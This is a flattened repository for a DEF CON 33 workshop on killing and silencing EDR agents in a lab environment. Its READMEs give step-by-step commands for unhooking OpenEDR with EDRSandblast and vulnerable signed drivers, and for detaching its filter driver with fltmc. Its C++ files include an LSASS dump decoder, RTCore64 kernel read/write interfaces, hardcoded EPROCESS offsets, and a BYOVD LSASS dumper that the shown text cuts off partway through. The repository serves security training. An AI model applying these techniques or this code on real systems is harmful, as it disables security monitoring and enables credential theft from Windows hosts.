Repository: arosenmund/defcon33_silence_kill_edr Branch: main Commit: 3566c07a3857 Files: 44 Total size: 48.0 MB Directory structure: gitextract_pi03qitw/ ├── 0-setup/ │ ├── OpenEDR-Installation-2.5.1-Win64.msi │ ├── README.md │ ├── filebeat-9.1.0-windows-x86_64.msi │ ├── filebeat.yml │ ├── install-filebeat.ps1 │ └── install-openedr.ps1 ├── 1-edr-killing/ │ ├── README.md │ └── vuln_drivers/ │ ├── DBUtil_2_3.sys │ ├── GDRV.sys │ └── RTCore64.sys ├── 2-custom-edr-evasion/ │ ├── 1-Custom-BYOD/ │ │ ├── README.md │ │ ├── RTCore64.sys │ │ ├── decode-that-lsass.cpp │ │ ├── driver-dumper/ │ │ │ ├── README.md │ │ │ ├── headers/ │ │ │ │ ├── driver_interface.h │ │ │ │ ├── eprocess_offsets.h │ │ │ │ ├── handle_offsets.h │ │ │ │ └── paging.h │ │ │ ├── main.cpp │ │ │ └── offset-calc/ │ │ │ ├── headers/ │ │ │ │ ├── driver_interface.h │ │ │ │ └── logging.h │ │ │ └── offset-calc.cpp │ │ ├── driver_interface.h │ │ ├── driver_loader.cpp │ │ ├── dump-that-lsass.cpp │ │ ├── nikito/ │ │ │ └── dump-that-lsass-nikito.cpp │ │ └── system-that-lsass.cpp │ ├── 2-Custom-API/ │ │ ├── README.md │ │ ├── c++/ │ │ │ ├── README.md │ │ │ ├── detect-att.cpp │ │ │ ├── detect-hooks-dlls.cpp │ │ │ ├── unhooker.cpp │ │ │ └── unload-dlls.cpp │ │ └── golang/ │ │ ├── catwatch.go │ │ ├── catwatch.md │ │ ├── disable-service.go │ │ ├── file-stomp.go │ │ ├── firewall-rule.go │ │ ├── go.mod │ │ ├── go.sum │ │ ├── re-route.go │ │ └── snuff-traffic.go │ └── README.md └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: 0-setup/README.md ================================================ # SETUP ## Pluralsight Lab Environment You MUST have a free PluralSight account to use the online platform. You can attempt to follow along on a VM or your own device, but we can't guarantee everything will work. First you need an account, or if you don't already have one, a free acount. This does require a free trial. And as of today ( because it used to be different ) this does require a free trial. https://www.pluralsight.com/individuals/pricing 1. Chose the security option, 10 day free trial. 2. Fill out required information, including the credit card.... I know, I know, but I don't make the rules. Cloud resources do cost money so I kinda get it. 3. Set a calendar reminder to cancle your subscription. (No, seriously, otherwise you know darn well you won't do it.) 4. Login and access the lab (Defcon 33 Workshop: Killing and Silencing EDR Agents) at this link. `https://app.pluralsight.com/labs/detail/28895c03-00f9-4f5d-bd7d-5e05c57aa275/toc` Once done with this we can move in. If you would prefer to emulate the lab on your own device or on a vm, you will need the following: 1. OpenEDR installed. https://github.com/ComodoSecurity/openedr 2. Filebeat installed and forwarding to an ELK stack. https://www.elastic.co/docs/reference/beats/filebeat/filebeat-installation-configuration 3. Lots of understanding built in. Otherwise, follow along in the provided platform. ## Environment Setup Once in the lab above. Clicke the start environment button, and wait a few minutes for it to build. Once it is done loading the button will say "open environment", and when you click that, it will take you into the lab in a new tab. To bring up the side panel use "ctl+shft+alt" and then click the "pluralsight" word in the top left. This will allow you to navigate to other devices, as well as give you access to copy paste functionality. 1. Open the **Windows Target**, open PowerShell **AS ADMIN!!**. - Note: You MUST launch PowerShell as Admin! 2. Change dir to the lab files setup folder on the Public user's desktop: - `cd C:\Users\Public\Desktop\LAB_FILES\0-setup` 3. Run the OpenEDR install script. It is interactive, you need to click through the items. - `.\Install-OpenEDR.ps1` 4. You may need to run it a second time if you see errors, and then it will go through. (No idea why.) 5. Once complete, run the following the check and make sure the service is running: `get-service edrsvc` 4. Next, in the powershell terminal, from the same directory, install filebeat! - `.\Install-Filebeat.ps1` > You may need to close out the explorer window, and/or in the powershell prompt press enter to "kick" it a bit. The phase where it is running filebeat setup will take a bit to install all the dashboards. 5. Exit the PowerShell console and double click the ICON ond the desktop for the firefox browser link to the Elastic Stack. 6. Login with UN: **elastic** PW: **alwaysbelearning** 7. Browse in the top left, clikc the "hamburger" and then click "DISCOVER" 8. In the top left, choose the index "filebeat-*" 9. You should see events that started when you installed filebeat and continue. You are now ready to go! ================================================ FILE: 0-setup/filebeat-9.1.0-windows-x86_64.msi ================================================ [File too large to display: 47.8 MB] ================================================ FILE: 0-setup/filebeat.yml ================================================ ###################### Filebeat Configuration Example ######################### # This file is an example configuration file highlighting only the most common # options. The filebeat.reference.yml file from the same directory contains all the # supported options with more comments. You can use it as a reference. # # You can find the full configuration reference here: # https://www.elastic.co/guide/en/beats/filebeat/index.html # For more available modules and options, please see the filebeat.reference.yml sample # configuration file. # ============================== Filebeat inputs =============================== filebeat.inputs: # Each - is an input. Most options can be set at the input level, so # you can use different inputs for various configurations. # Below are the input-specific configurations. # filestream is an input for collecting log messages from files. - type: filestream # Unique ID among all inputs, an ID is required. id: OpenEDR1 # Change to true to enable this input configuration. enabled: true # Paths that should be crawled and fetched. Glob based paths. paths: #- /var/log/*.log - C:\ProgramData\edrsvc\log\output_events\*.log # Exclude lines. A list of regular expressions to match. It drops the lines that are # matching any regular expression from the list. # Line filtering happens after the parsers pipeline. If you would like to filter lines # before parsers, use include_message parser. #exclude_lines: ['^DBG'] # Include lines. A list of regular expressions to match. It exports the lines that are # matching any regular expression from the list. # Line filtering happens after the parsers pipeline. If you would like to filter lines # before parsers, use include_message parser. #include_lines: ['^ERR', '^WARN'] # Exclude files. A list of regular expressions to match. Filebeat drops the files that # are matching any regular expression from the list. By default, no files are dropped. #prospector.scanner.exclude_files: ['.gz$'] # Optional additional fields. These fields can be freely picked # to add additional information to the crawled log files for filtering #fields: # level: debug # review: 1 # ============================== Filebeat modules ============================== filebeat.config.modules: # Glob pattern for configuration loading path: ${path.config}/modules.d/*.yml # Set to true to enable config reloading reload.enabled: false # Period on which files under path should be checked for changes #reload.period: 10s # ======================= Elasticsearch template setting ======================= setup.template.settings: index.number_of_shards: 1 #index.codec: best_compression #_source.enabled: false # ================================== General =================================== # The name of the shipper that publishes the network data. It can be used to group # all the transactions sent by a single shipper in the web interface. #name: # The tags of the shipper are included in their field with each # transaction published. tags: ["OpenEDR"] # Optional fields that you can specify to add additional information to the # output. #fields: # env: staging # ================================= Dashboards ================================= # These settings control loading the sample dashboards to the Kibana index. Loading # the dashboards is disabled by default and can be enabled either by setting the # options here or by using the `setup` command. #setup.dashboards.enabled: false # The URL from where to download the dashboard archive. By default, this URL # has a value that is computed based on the Beat name and version. For released # versions, this URL points to the dashboard archive on the artifacts.elastic.co # website. #setup.dashboards.url: # =================================== Kibana =================================== # Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API. # This requires a Kibana endpoint configuration. setup.kibana: # Kibana Host # Scheme and port can be left out and will be set to the default (http and 5601) # In case you specify and additional path, the scheme is required: http://localhost:5601/path # IPv6 addresses should always be defined as: https://[2001:db8::1]:5601 host: "http://172.31.24.42:5601" # Kibana Space ID # ID of the Kibana Space into which the dashboards should be loaded. By default, # the Default Space will be used. #space.id: # =============================== Elastic Cloud ================================ # These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/). # The cloud.id setting overwrites the `output.elasticsearch.hosts` and # `setup.kibana.host` options. # You can find the `cloud.id` in the Elastic Cloud web UI. #cloud.id: # The cloud.auth setting overwrites the `output.elasticsearch.username` and # `output.elasticsearch.password` settings. The format is `:`. #cloud.auth: # ================================== Outputs =================================== # Configure what output to use when sending the data collected by the beat. # ---------------------------- Elasticsearch Output ---------------------------- output.elasticsearch: # Array of hosts to connect to. hosts: ["172.31.24.42:9200"] # Performance preset - one of "balanced", "throughput", "scale", # "latency", or "custom". preset: balanced # Protocol - either `http` (default) or `https`. protocol: "https" ssl.verification_mode: "none" # Authentication credentials - either API key or username/password. #api_key: "id:api_key" username: "elastic" password: "alwaysbelearning" # ------------------------------ Logstash Output ------------------------------- #output.logstash: # The Logstash hosts #hosts: ["localhost:5044"] # Optional SSL. By default is off. # List of root certificates for HTTPS server verifications #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"] # Certificate for SSL client authentication #ssl.certificate: "/etc/pki/client/cert.pem" # Client Certificate Key #ssl.key: "/etc/pki/client/cert.key" # ================================= Processors ================================= processors: - add_host_metadata: when.not.contains.tags: forwarded - add_cloud_metadata: ~ - add_docker_metadata: ~ - add_kubernetes_metadata: ~ # ================================== Logging =================================== # Sets log level. The default log level is info. # Available log levels are: error, warning, info, debug #logging.level: debug # At debug level, you can selectively enable logging only for some components. # To enable all selectors, use ["*"]. Examples of other selectors are "beat", # "publisher", "service". #logging.selectors: ["*"] # ============================= X-Pack Monitoring ============================== # Filebeat can export internal metrics to a central Elasticsearch monitoring # cluster. This requires xpack monitoring to be enabled in Elasticsearch. The # reporting is disabled by default. # Set to true to enable the monitoring reporter. #monitoring.enabled: false # Sets the UUID of the Elasticsearch cluster under which monitoring data for this # Filebeat instance will appear in the Stack Monitoring UI. If output.elasticsearch # is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch. #monitoring.cluster_uuid: # Uncomment to send the metrics to Elasticsearch. Most settings from the # Elasticsearch outputs are accepted here as well. # Note that the settings should point to your Elasticsearch *monitoring* cluster. # Any setting that is not set is automatically inherited from the Elasticsearch # output configuration, so if you have the Elasticsearch output configured such # that it is pointing to your Elasticsearch monitoring cluster, you can simply # uncomment the following line. #monitoring.elasticsearch: # ============================== Instrumentation =============================== # Instrumentation support for the filebeat. #instrumentation: # Set to true to enable instrumentation of filebeat. #enabled: false # Environment in which filebeat is running on (eg: staging, production, etc.) #environment: "" # APM Server hosts to report instrumentation results to. #hosts: # - http://localhost:8200 # API Key for the APM Server(s). # If api_key is set then secret_token will be ignored. #api_key: # Secret token for the APM Server(s). #secret_token: # ================================= Migration ================================== # This allows to enable 6.7 migration aliases #migration.6_to_7.enabled: true ================================================ FILE: 0-setup/install-filebeat.ps1 ================================================ # Start Filebeat Installer Write-Host "Starting Filebeat Install. Follow prompts." start-process -FilePath "C:\filebeat-8.12.0-windows-x86_64.msi" -Wait Write-Host "Waiting for Filebeat to install..." start-sleep 10 Write-Host "Copying Filebeat configuration files..." copy-item -Path "C:\Users\Public\Desktop\LAB_FILES\0-setup\filebeat.yml" -Destination "C:\Program Files\Elastic\Beats\8.12.0\filebeat\filebeat.yml" Write-host "Starting Filebeat Setup - Wait for Completion..." start-process -FilePath "C:\Program Files\Elastic\Beats\8.12.0\filebeat\filebeat.exe" -ArgumentList "setup","-e" -wait Write-Host "Installing Filebeat Service" "C:\Program Files\Elastic\Beats\8.12.0\filebeat\install-service-filebeat.ps1" Write-Host "Starting Filebeat Service" Start-Service Filebeat Get-Service filebeat Write-host "Filebeat install complete" ================================================ FILE: 0-setup/install-openedr.ps1 ================================================ # Start Edr Installer. Write-Host "Starting OpenEDR Install. Follow Prompts." start-process -FilePath "C:\OpenEDR-Installation-2.5.1.msi" -ArgumentList "/passive" -Wait # Follow Prompts. start-process -FilePath "C:\Program Files\COMODO\EdrAgentV2\edrsvc.exe" -Wait Write-host "Starting EDR Service" Set-service -Name "edrsvc" -StartupType Automatic Start-service -Name "edrsvc" Write-Host "OpenEDR Install Complete. Log Files Found in C:\ProgramData\edrsvc\logs\output_events" Write-Host "Ironcat Meow" ================================================ FILE: 1-edr-killing/README.md ================================================ # EDR Killing and Silencing ## Overview In this workshop, we'll be working with Comodo Security's OpenEDR: - [Website](https://www.openedr.com/) - [GitHub repo](https://github.com/ComodoSecurity/openedr) For part 1 of our workshop, we'll be "killing" OpenEDR via [EDRSandblast](https://github.com/wavestone-cdt/EDRSandblast), a well-known EDR killer that has been used by a number of threat actors including ransomware actors. The flow for this section is as follows: - Review OpenEDR's output to review how it logs telemetry - Kill OpenEDR using EDRSandblast - Perform actions following the killing of OpenEDR and verifying that the actions do not show up in the EDR's telemetry ## Install Notepad++ 1. In Explorer, navigate to `C:\Users\Public\Desktop\LAB_FILES\1-edr-killing` 1. Double-click `npp.8.8.2.Installer.x64.exe` to install Notepad++ - Follow the prompts to install - When prompted to `Choose components`, go with the defaults ## 1 Review OpenEDR Logging OpenEDR has been installed on the Windows host within our lab environment. Let's take a moment to review how OpenEDR logs data: 1. Open PowerShell by double-clicking `PowerShell 7` on the desktop 1. In the PowerShell prompt, run the following commands: 1. `whoami` 1. `powershell -c "Write-Host 'Testing01'"` 1. `exit` to exit the PowerShell prompt 1. **Wait 2-3 minutes**, then: 1. Navigate to `C:\ProgramData\edrsvc\log\output_events` via Explorer 1. Right-click the `.log` file for the current day (most _likely_ labeled `2025-08-09.log`) and select `Edit with Notepad++` - If you're following along after DefCon33, your log file's name will be the current date. It for sure will __not__ be `2025-08-09.log` :). 1. Search via `Ctrl+F` for the test commands: 1. Look for `whoami` and `write-host` 1. If you do not find the logs for these executions, wait a few minutes, reload the `.log` file, and search again You should see logged process execution that looks like the following, in this case for the `Testing01` command: ``` {"baseEventType":1,"baseType":1,"childProcess":{"cmdLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"Write-Host 'Testing01'\"","creationTime":1754764097580,"elevationType":3,"flsVerdict":3,"id":15875525547496000396,"imageHash":"3e72bef25a1cd88c502421e3d50a8eb4c6bd1226","imagePath":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","pid":6848,"scriptContent":"","verdict":1},"customerId":"","deviceName":"CLIENT01","endpointId":"","eventType":null,"processes":[{"creationTime":1754763108579,"flsVerdict":3,"id":13705142240392347118,"imageHash":"1727054b50f1dcba229739fa0e73bdef0797ac45","imagePath":"C:\\Windows\\System32\\winlogon.exe","pid":4252,"userName":"SYSTEM@NT AUTHORITY","verdict":1},{"creationTime":1754763132912,"flsVerdict":3,"id":16777330264515671491,"imageHash":"7e27ed0d97bc5b09c9eb37dab311797adeda2430","imagePath":"C:\\Windows\\System32\\userinit.exe","pid":5352,"userName":"pslearner@CLIENT01","verdict":1},{"creationTime":1754763132966,"flsVerdict":3,"id":1781834014505887309,"imageHash":"8baa602fdc6ba67545c0717e2b9063a0bfe3f278","imagePath":"C:\\Windows\\explorer.exe","pid":5368,"userName":"pslearner@CLIENT01","verdict":1},{"creationTime":1754764043806,"flsVerdict":3,"id":5299355317245908830,"imageHash":"82fa6e3ffe6d880722b7c5b4e5251bec6ac51af1","imagePath":"C:\\Program Files\\PowerShell\\7\\pwsh.exe","pid":904,"userName":"pslearner@CLIENT01","verdict":1}],"sessionUser":"pslearner@CLIENT01","time":1754764097593,"type":"RP1.1","version":"1.1"} ``` - Note that the above example log includes a different execution time from what you'll see in our workshop lab environment. But you get the idea. **Log review:** Ryan to lead OpenEDR log review with workshop attendees :). - We'll cover what is being unhooked, why, etc. If you're following along after the workshop... not so much. ## Source Code Review: EDRSandblast Next we'll kill OpenEDR using EDRSandblast. Technically, we'll unhook the various functions used by OpenEDR in order to launch a `cmd.exe` command prompt, run a few commands, and then review the OpenEDR logs to verify that the commands we executed do not show up in the logged telemetry. Let's review the EDRSandblast code! 1. In Explorer, navigate to `C:\Users\Public\Desktop\LAB_FILES\1-edr-killing` 1. **Copy** both Zip archives to the desktop: - `EDRSandblast-exe.zip` -- This is a pre-compiled executable for EDRSandblast - `EDRSandblast-master.zip` -- This is the source code for EDRSandblast - Source code from [here](https://github.com/wavestone-cdt/EDRSandblast) 1. **Extract** the contents of both Zip archives that are now on your desktop: - Right-click each file > Select `Extract All...` > Click the `Extract` button 1. Open the newly-extracted `EDRSandblast-master` folder on the desktop, then open the nested `EDRSandblast-master` folder contained within 1. Open `EDRSandblast_CLI` 1. Right-click the `EDRSandblast.c` file > Select `Open with Code` **Source code review:** Ryan to lead EDRSandblast code review with workshop attendees. ### Bonus: Building EDRSandblast NOTE: We will **not** be building EDRSandblast in the workshop. However, if you'd like to build it yourself in another environment, the following steps provide an overview of doing so in **Visual Studio 2022**: 1. Choose the `File` menu > `Open` > `Project/Solution...` 1. Navigate to `EDRSandblast-master` > Select `EDRSandblast.sln` > Click the `Open` button at the bottom-right 1. Right-click the `EDRSandblast_CLI` directory on the right > `Build` - You should now see a build process take place. Example output: `========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========` Yeah it's pretty simple... moving along! ## 3 Kill OpenEDR via EDRSandblast 1. Open a Command Prompt **AS ADMIN!!** - Right-click `cmd` on the Desktop > Select `Run as administrator` 1. Change directory to `C:\Users\pslearner\Desktop\EDRSandblast-exe` - `cd C:\Users\pslearner\Desktop\EDRSandblast-exe` 1. Execute `EDRSandblast.exe` without any parameters to see options - `EDRSandblast.exe` 1. Run an Audit in EDRSandblast to check for EDR hooks: - `.\EDRSandblast.exe audit --kernelmode --vuln-driver .\GDRV.sys` - **Ryan to review results with class** _NOTE:_ If you are following along outside of the PluralSight labs environment, this command will fail due to the offsets of your `Ntoskrnl.exe` and `fltmgr.sys` files not being in `NtoskrnlOffsets.csv` and `FltmgrOffsets.csv`, respectively. The CSV files that we've included for the lab include the offsets for the specific NTOS Kenerl and Filter Manager system driver included in the range environment. If you're running these commands in another system, you'll need to pull the offsets for the given versions of these files within your environment. To do so, you can review [these details](https://github.com/wavestone-cdt/EDRSandblast?tab=readme-ov-file#offsets-retrieval) to learn how to pull your offsets. Alternatively, and to make things much easier, you can simply add `--internet` to the command to automatically retreive the offsets required for your system. E.g. `.\EDRSandblast.exe audit --kernelmode --vuln-driver .\GDRV.sys --internet` 1. Kill OpenEDR! - `.\EDRSandblast.exe cmd --kernelmode --vuln-driver .\GDRV.sys` - You will now have a command prompt executed while OpenEDR is unhooked! _NOTE:_ Similar to the note above -- If you are following along outside of the PluralSight labs environment, this command will fail due to the offsets of your `Ntoskrnl.exe` and `fltmgr.sys` files not being in `NtoskrnlOffsets.csv` and `FltmgrOffsets.csv`, respectively. Please see the above note for instructions. Alternatively, you can run `.\EDRSandblast.exe cmd --kernelmode --vuln-driver .\GDRV.sys --internet` to retrieve offsets automatically. Or, you know, just use the PluralSight Labs environment :). 1. In the new shell (w/OpenEDR killed), run the following commands: 1. `echo Hello01` 1. `ping 1.1.1.1 -n 1` 1. `exit` to exit the shell - You will see that the EDRSandblast service has been stopped. The EDR is once again active. 1. Now that OpenEDR is once again active, run the following commands: 1. `echo Hello02` 1. `ping 2.2.2.2 -n 1` 1. `exit` to exit the shell, which will close your prompt window 1. In Explorer, navigate to `C:\ProgramData\edrsvc\log\output_events` 1. Right-click the `.log` file for the current day (most _likely_ labeled `2025-08-09.log`) and select `Edit with Notepad++` 1. Search via `Ctrl+F` for the test commands: 1. Search for the strings `Hello0` and `ping` - Check that out! You should see the following: __NOT__ logged: - `echo Hello01` - `ping 1.1.1.1 -n 1` Logged: - `echo Hello02` - `ping 2.2.2.2 -n 1` And there we have it! **Ryan to review results with class** ## 4 EDR Silencing While killing an EDR typically involves "killing" the ability for the EDR to detect your actions, "silencing" refers to the act of preventing communication between the EDR agent and its cloud-based tenant. While I aimed to write up details pertaining to silencing, details related to common silencing methods can be found in [EDR Silencers and Beyond: Exploring Methods to Block EDR Communication - Part 1](https://cloudbrothers.info/en/edr-silencers-exploring-methods-block-edr-communication-part-1/) along with [EDR Silencer and Beyond: Exploring Methods to Block EDR Communication - Part 2](https://academy.bluraven.io/blog/edr-silencer-and-beyond-exploring-methods-to-block-edr-communication-part-2). We covered these in the DC33 workshop. But if you're reading this after the event, simply review the above article for details. See also: [EDRSilencer GitHub repo](https://github.com/netero1010/EDRSilencer) ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/README.md ================================================ # Bring Your Own Vulnerable Driver The point of this module is to cover the concepts of leveraging drivers to access protected processes and bypass protections. For more BYOD information or downloads this is a great resource: https://www.loldrivers.io/ **RTCore64.sys** is the driver we will be abusing. The driver in Micro-Star MSI Afterburner 4.6.2.15658 (aka RTCore64.sys and RTCore32.sys) allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code. Dumping lsass will be the name of the game. 1. In the lab environment, open up the **Operator Desktop**, once loaded and the terminal pops up, change the permissions on the lab folder. `sudo chown pslearner:pslearner -R /home/pslearner/lab` 2. Now change directory to that folder. `cd /home/pslearner/lab` 3. Open VSCODE. `code .` 5. Once open, accept any pop ups. Trusting the author etc. 6. In the top left, use the mouse to click "terminal" then "new terminal" to launch a bash terminal in the bottom pane. 7. In the terminal in the bottom plane, run python simple server to host the files. 8. Open the 2-custom-edr-evasion>1-Custom-BYOD folder on the left. 9. Click dump-that-lsass.cpp to open the file. > **Discuss Signatures** > - On Disk / In Memory > - Demo dump-that-lsass execution. 11. Open the **Windows Target 2** 12. Use the search bar to search for "security" and open the "Windows Security" app. 13. Go to Virus & Threat Protection and click the "turn on" button. 14. Now open an Administrative command prompt by search for cmd.exe, right click the command prompt app and select run as administrator. 15. Change directory to the lab files for this module. `cd c:\Users\Public\Desktop\LAB_FILES\2-custom-edr-evasion\1-Custom-BYOD` 16. Open task manager, click "more details". Sort using the column "name" with a click. Scroll down to find "Local Security Authority Process". Right click it and open properties. Note this is LSASS. Close the window. 17. Right click the LSASS process gain, and clikc "Create dump file". Wait a moment and notice the alert. 18. Back in your Administrative CMD prompt. Copy dump-that-lsass.exe to the c drive. `copy dump-that-lsass.exe c:\dump-that-lsass.exe` > **Discuss Privilege Error** > - system-that-lsass execution > - talk about pp/ppl lsa protection win11/2022 18. In the adminstrative command prompt run **system-that-lsass.exe** `system-that-lsass.exe` 19. Open windows file explorer and navigate to "C:\Windows\Temp" and open launcher.log and lsass_dumper.log. 20. Open a powershell command prompt and check PPL. `Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object RunAsPPL` 21. In the Administrative command prompt, use dir to identify the lsass_encoded.bin file. 22. Decode it with decode-that-lsass.exe. `decode-that-lsass.exe` 22. Go back to the **Operator Desktop** > **discuss nikito** > - miniwritedump > - temp files 23. Time for EDR. Back on the **Windows Target 2** device. Install EDR and file beat monitor. > [Setup Steps](../../0-setup/README.md) 24. With EDR installed, use the Administrative command prompt to re-run the system-that-lsass.exe program. `system-that-lsass.exe` 25. Open elasticsearch with the link on the desktop. & Login. un: **elastic** pw: **alwaysbelearning** 26. In he top left go to discover. 27. In the top right change the time to the last 15 minutes. (Feel free to play around with this however you want.) 30. Use free text search to search for "lsass". > **discuss monitoring vs detection** > - don't always have to disable 31. Driver time. Back in the administrative command prompt. Copy the driver to the C:\Windows\Temp folder. > make sure you are in the "C:\Users\Public\Desktop\LAB_FILES\2-custom-edr-evasion\1-Custom-BYOD" `copy RTCore64.sys c:\Windows\Temp\RTCore64.sys` 32. Load the driver. `driver_loader.exe` 33. Check logs in C:\Widnows\Temp\driver_loader.log 34. Check for loaded driver, open services and look for MyRTCore64. **Discuss why it isn't there** 35. Query for the driver with SC in the command line. `sc query MyRTCore64` 36. Check for more detail with driverquery. `driverquery /v /fo table` 36. Unload the driver. `sc stop MyRTCore64.sys` **Did you see what I saw?** 37. Unload edrdrv. `sc stop edrdrv` **Discuss failure** 38. Run fltmc to detach and unload file filter drivers. ``` fltmc fltmc instances -f edrdrv fltmc detach edrdrv c: fltmc detach edrdrv \Device\Mup fltmc unload edrdrv fltmc ``` 39. Now Check SC Query. `sc query edrdrv` 40. Stop edrdrv `sc stop edrdrv` 41. In your administrative command prompt, run lsass_dumper.exe. > full path C:\Users\Public\Desktop\LAB_FILES\2-custom-edr-evasion\1-Custom-BYOD ``` cd driver-dumper lsass_dumper.exe ``` 35. Check 36. Run lsass_dumper.exe `lsass_dumper.exe` 37. Check logs in C:\Windows\Temp\lsass_dumper > **discuss failure** > - Check code for driver-dumper in Operator Desktop > - Talk about BYOD moving forward and whats needed. 39. Go check for your activity after disabling the edrdrv filter in elasticsearch. > Some search terms. ``` system-that-lsass.exe lsass_dumper.exe lsass_encoded.bin ``` > Run more code and see what does and doesn't pop up. this is the end of this module. > **Discussion** > - did you see sysmon? I saw sysmon... > - kill sysmon (not tested we are in this together, awww) Small pause while we shift gears. Then heading to the custom edr evasion techniques. But keep in mind they are fun and experiemental. [Custom API EDR Evastion](../2-Custom-API/README.md) ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/decode-that-lsass.cpp ================================================ #include #include #include #define XOR_KEY 0x41 int main() { std::ifstream inFile("lsass_encoded.bin", std::ios::binary); if (!inFile.is_open()) { std::cerr << "[-] Failed to open input file.\n"; return 1; } std::vector data((std::istreambuf_iterator(inFile)), std::istreambuf_iterator()); inFile.close(); // XOR decode for (auto& byte : data) { byte ^= XOR_KEY; } std::ofstream outFile("lsass_decoded.dmp", std::ios::binary); if (!outFile.is_open()) { std::cerr << "[-] Failed to open output file.\n"; return 1; } outFile.write(data.data(), data.size()); outFile.close(); std::cout << "[+] Decoded memory written to lsass_decoded.dmp\n"; return 0; } ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/README.md ================================================ # BYOVD LSASS Dumper (PPL Bypass) ## Overview This tool: - Loads RTCore64.sys as a vulnerable driver - Uses kernel R/W to locate EPROCESS for LSASS and SYSTEM - Steals a SYSTEM handle to LSASS - Dumps LSASS memory (bypassing PPL) with XOR encoding ## Requirements - RTCore64.sys at `C:\Windows\Temp\RTCore64.sys` - Run as Administrator - Test signing mode or unsigned driver support enabled ## Build (Linux) ```bash x86_64-w64-mingw32-g++ main.cpp -o lsass_dumper.exe -static ``` ## Output - Dump: `C:\Windows\Temp\lsass_encoded.dmp` - Logs: `C:\Windows\Temp\lsass_dumper.log` ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/driver_interface.h ================================================ #pragma once #include #define RTCORE64_DEVICE_PATH L"\\\\.\\RTCore64" #define IOCTL_READ_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA801, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_WRITE_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0xA802, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _PHYSICAL_MEMORY_RW { ULONGLONG address; DWORD size; ULONGLONG buffer; } PHYSICAL_MEMORY_RW; ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/eprocess_offsets.h ================================================ #pragma once #define OFFSET_ActiveProcessLinks 0x2f0 #define OFFSET_UniqueProcessId 0x2e8 #define OFFSET_ImageFileName 0x450 #define OFFSET_DirectoryTableBase 0x028 #define OFFSET_Token 0x4b8 ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/handle_offsets.h ================================================ #pragma once #define OFFSET_ObjectTable 0x570 #define OFFSET_HandleTable_TableCode 0x8 #define HANDLE_TABLE_ENTRY_SIZE 0x18 ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/headers/paging.h ================================================ #pragma once #define VADDR_TO_INDEX(va, shift) (((va) >> (shift)) & 0x1FF) #define PAGE_PRESENT 0x1 #define LARGE_PAGE 0x80 ================================================ FILE: 2-custom-edr-evasion/1-Custom-BYOD/driver-dumper/main.cpp ================================================ // Unified LSASS Dumper with BYOVD + PPL Bypass #define UNICODE #define _UNICODE #include "headers/driver_interface.h" #include "headers/paging.h" #include "headers/eprocess_offsets.h" #include "headers/handle_offsets.h" #include #include #include #include #include #include #include #define DRIVER_PATH L"C:\\Windows\\Temp\\RTCore64.sys" #define DRIVER_NAME L"MyRTCore64" #define OUTPUT_FILE L"C:\\Windows\\Temp\\lsass_encoded.dmp" #define LOG_FILE L"C:\\Windows\\Temp\\lsass_dumper.log" #define XOR_KEY 0x41 // Logging void WriteLog(const std::string& msg) { std::ofstream log(LOG_FILE, std::ios::app); log << msg << std::endl; log.close(); } // Open handle to driver HANDLE OpenDriver() { return CreateFileW(RTCORE64_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); } // Driver loading bool LoadDriver(const std::wstring& driverName, const std::wstring& driverPath) { SC_HANDLE scManager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); if (!scManager) { WriteLog("[-] Failed to open Service Control Manager."); return false; } // Try opening existing service SC_HANDLE service = OpenService(scManager, driverName.c_str(), SERVICE_START | DELETE | SERVICE_STOP); if (!service) { // Create new service service = CreateService(scManager, driverName.c_str(), driverName.c_str(), SERVICE_START | DELETE | SERVICE_STOP, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driverPath.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr); if (!service) { DWORD err = GetLastError(); WriteLog("[-] CreateService failed. Error: " + std::to_string(err)); CloseServiceHandle(scManager); return false; } WriteLog("[+] Driver service created."); } else { WriteLog("[*] Driver service already exists."); } // Try to start the driver (may already be running) if (!StartService(service, 0, nullptr)) { DWORD err = GetLastError(); if (err == ERROR_SERVICE_ALREADY_RUNNING) { WriteLog("[*] Driver already running."); } else { WriteLog("[-] Failed to start driver. Error: " + std::to_string(err)); CloseServiceHandle(service); CloseServiceHandle(scManager); return false; } } else { WriteLog("[+] Driver started successfully."); } // Optionally delete service entry DeleteService(service); CloseServiceHandle(service); CloseServiceHandle(scManager); return true; } // Memory access bool ReadPhys(HANDLE h, uint64_t pa, void* out, size_t sz) { std::vector tmp(sz); PHYSICAL_MEMORY_RW req; req.address = pa; req.size = DWORD(sz); req.buffer = (ULONGLONG)(tmp.data()); DWORD ret = 0; if (!DeviceIoControl(h, IOCTL_READ_PHYSICAL_MEMORY, &req, sizeof(req), &req, sizeof(req), &ret, nullptr)) return false; memcpy(out, tmp.data(), sz); return true; } bool TranslateVAtoPA(HANDLE h, uint64_t cr3, uint64_t va, 